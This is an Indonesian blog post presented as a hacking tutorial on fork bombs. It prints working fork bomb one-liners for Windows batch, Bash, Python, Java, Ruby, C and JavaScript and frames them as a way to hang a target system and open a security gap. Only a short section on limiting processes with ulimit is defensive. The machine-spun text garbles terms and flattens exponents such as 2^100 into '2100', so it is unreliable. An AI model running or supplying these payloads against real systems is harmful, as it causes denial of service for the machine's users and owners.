Lompat ke konten Lompat ke sidebar Lompat ke footer

Cara Hack Memakai Teknik Fork Bomb

bang2 sutara - How to Fork Bomb Hacking method, Fork Bomb ialah salah satu teknik h4cking yang setara dengan serangan DDoS pada suatu sistem jaringan komputer. Teknik ini sendiri bertujuan untuk menghilangkan atau memenuhi sistem dari memori (RAM), sehingga tidak menyisakan sedikit ruangan apapun untuk aplikasi lain atau operasi vital sistem operasi yang diharapkan semoga sistem tetap berjalan, sehingga akan terjadi suatu tanda-tanda yang cukup menghawatirkan ibarat terjadinya hang. Panjang dari teknik ini hanya 5 karakter, bom fork tidak membahayakan secara permanen untuk komputer, hanya saja ditujukan untuk mengganggu sistem komputer sehingga pelaku sanggup menemukan suatu celah.

Namun sebelum melaksanakan teknik ini, setidaknya kalian sudah mengetahui pembelajaran perihal apa itu file batch dan bagaimana cara membuatnya ?. dan Pastikan juga, bahwa kalian sudah menginstal VM dan mengaturnya pada perangkat komputer kalian.


Baca Juga :

 Teknik ini sendiri bertujuan untuk menghilangkan atau memenuhi sistem dari memori  Cara Hack Menggunakan Teknik Fork Bomb

Pengenalan dan Penjelasan Teknik Fork Bomb


%0|%0
Kode diatas merupakan salah satu arahan yang cukup pendek untuk teknik fork bomb, namun arahan diatas memang sangat sulit untuk dipahami, sebagai rujukan lainnya silahkan kalian perhatikan arahan dibawah ini
:s start %0 goto s
  • Pada arahan diatas diketahui bahwa baris pertama membuat label s.
  • % 0 bersama-sama mengacu pada nama file batch itu sendiri. Dengan memulai% 0 kita menjalankan file yang sama lagi.
  • Dan jadinya goto s membawa kita kembali ke puncak, membentuk sebuah lingkaran.
  • Jadi setiap kali loop dijalankan, rujukan lain dari jadwal yang sama dimulai dan lalu keduanya berjalan bersamaan dan akan menduplikat dirinya sendiri dan seterusnya.
Setiap jadwal yang meniru dirinya sendiri merupakan suatu bentuk pertumbuhan eksponensial yang disebabkan oleh serangan fork bomb ini. Setelah satu iterasi loop berjalan, maka dua jadwal (21) akan dibentuk secara otomastis.

Setelah siklus lain, masing-masing keduanya membuat dua jadwal lainnya untuk total empat (22). Setelah 10 iterasi secara bersiklus berhasil meniru dirinya, maka kalian mempunyai 1024 (210) serangan pada sistem memori (RAM). Setelah 100 iterasi, kalian akan mempunyai 2100 = 1,267 miliaran angka dan data yang sangat besar sehingga kalian tidak akan mengetahui apa itu 'nonillion' (It's 1030).

Dengan klarifikasi ilustrasi diatas, sudah bisa dipastikan bahwa setiap jaringan komputer yang kalian serang akan mengalami gangguan sistem non-permanen ibarat hang. Jika hal ini bisa kalian lakukan sudah niscaya kalian akan mendapat suatu celah pada sistem komputer tersebut.


Apakah ada cara untuk melindungi dari serangan bom fork? 

Setiap antivirus sudah dipastikan akan mempunyai fitur untuk menangani dilema ini, dalam sistem kerjanya anntivirus yang kalian pasang akan sanggup memindai file sanksi yang mencurigakan ini dan akan memperingatkan kalian sebelum sanksi tersebut menyebar ke sistem komputer kalian.

Untuk mode operasi bom fork sepenuhnya bergantung pada kemampuan untuk membuat proses baru, salah satu cara untuk mencegah serangan bom fork secara manual ialah dengan cara membatasi jumlah maksimum proses yang dimiliki pengguna komputer tersebut. Jika kalian memakai OS Linux, Cara manual ini bisa kalian dapatkan dengan memakai utilitas ulimit; Misalnya, perintah ulimit -u 30 , hal ini akan membatasi pengguna yang terkena efek hingga maksimal 30 proses yang dimiliki.

Untuk pengetahuan lanjutan, kalian bisa mengenali serangan dari bomb fork yang memakai media selain CMD atau Notepad. berikut ialah daftar media dan jenis arahan yang sering dipakai untuk melaksanakan serangan bomb fork :

1. Bash
:(){ :|:& };:
2. Python
import os  while 1:      os.fork()
3. Java
public class ForkBomb {   public static void main(String[] args)   {     while(true)     {       Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});     }   } }
4. Ruby
loop { fork { load(__FILE__) } }
5. C atau C++
#include <unistd.h>  int main(void) {     while(1) {       fork(); /* malloc can be used in order to increase the data usage */     } }
6. JavaScript
while (true) {   var w = window.open();   w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML); }